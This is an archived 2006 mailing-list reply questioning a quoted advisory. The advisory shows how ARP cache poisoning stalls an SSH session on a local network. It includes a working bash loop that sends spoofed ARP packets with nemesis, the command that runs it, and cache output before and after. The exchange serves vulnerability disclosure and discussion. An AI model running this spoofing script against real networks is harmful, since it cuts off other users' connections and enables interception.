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Re: IGNORING SSH CONNECTION USES ARP CACHE POISSONING

Correct me if I'm wrong, but isn't this just a trivial ARP poisoning?
If you poison an ARP table anything that happens on upper layers of
the stack (IP communications, as you are saying you poisoned) will be
affected.

How were the machines connected? Using a ethernet hub or a switch?

I don't see that as been a effective attack, actually.

On 9 May 2006 10:48:18 -0000, king_purba@xxxxxxxxxxx
<king_purba@xxxxxxxxxxx> wrote:

Author : Ph03n1X
Email  : king_purba@xxxxxxxxxxx
Site    : http://kandangjamur.net/
Severity : Moderate

IGNORING SSH CONNECTION USES ARP CACHE POISSONING

We know that tcp connection will close by sending RST flag.
I try to connect to my openssh server on
slackware 10 from my computer fedora core 4. Then using an
openbsd 3.7, that had same network with slackware n fedora,
try to overwrite ARP cache on my fedora core 4. After arp
cache has been overwriten, all packet from fedora core 4
to slackware 10 is ignored. May be this problem is not only
on ssh but on other tcp protocol.

Exploitation :

1. OpenSSH on slackware has IP 172.16.11.235 and MAC 00:80:48:EB:50:F2
2. Client using Fedora has IP 172.16.11.103 and MAC 00:00:21:27:12:1F
3. Attacker using OpenBSD has IP 172.16.11.234 and MAC 00:c0:26:6f:3a:1a
4. Now, login ssh from 172.16.11.103 to 172.16.11.235

Before exploitation you can use shell command on 172.16.11.235
as you wish and also you can manage 172.16.11.235 from 172.16.11.103.

5. ARP cache on 172.16.11.103 before overwriting

fc4-$arp -na
? (172.16.11.235) at 00:80:48:EB:50:F2 [ether] on eth0
? (172.16.11.1) at 00:11:BB:74:DA:00 [ether] on eth0

6. Overwriting ARP cache on 172.16.11.103 from 172.16.11.234 using nemesis and 
simple bash script


#!/bin/sh
if [ -z "$5" ]
#
# Script ini akan mengatakan bahwa IP server ada di MAC xxxx
# Sehingga client tidak menghubungi server melainkan xxxx
#

then
        echo
        echo "Usage : $0 <interface attacker> <ip server ssh> <ip client> <valid MAC 
address/up to u> <MAC client>"
        echo
        exit
fi

while true
do
        nemesis arp -v -r -d $1 -S $2 -D $3 -h $4 -m $5 -H $4 -M $5
        sleep 2;
done


openbsd-$./arp-cachep.sh rl0 172.16.11.235 172.16.11.103 00:c0:26:6f:3a:00 
00:00:21:27:12:1f


7. Now check ARP cache on 172.16.11.103 after overwriting

fc4-$arp -na
? (172.16.11.235) at 00:C0:26:6F:3A:00 [ether] on eth0 <-- ARP cache has been 
overwriten
? (172.16.11.1) at 00:11:BB:74:DA:00 [ether] on eth0

8. Now, back to ssh connection on 172.16.11.235 from 172.16.11.103. Type, any 
character on ssh console, yep no data connection, you cannot do anything on ssh 
console because ssh connection has been ignored but not closed.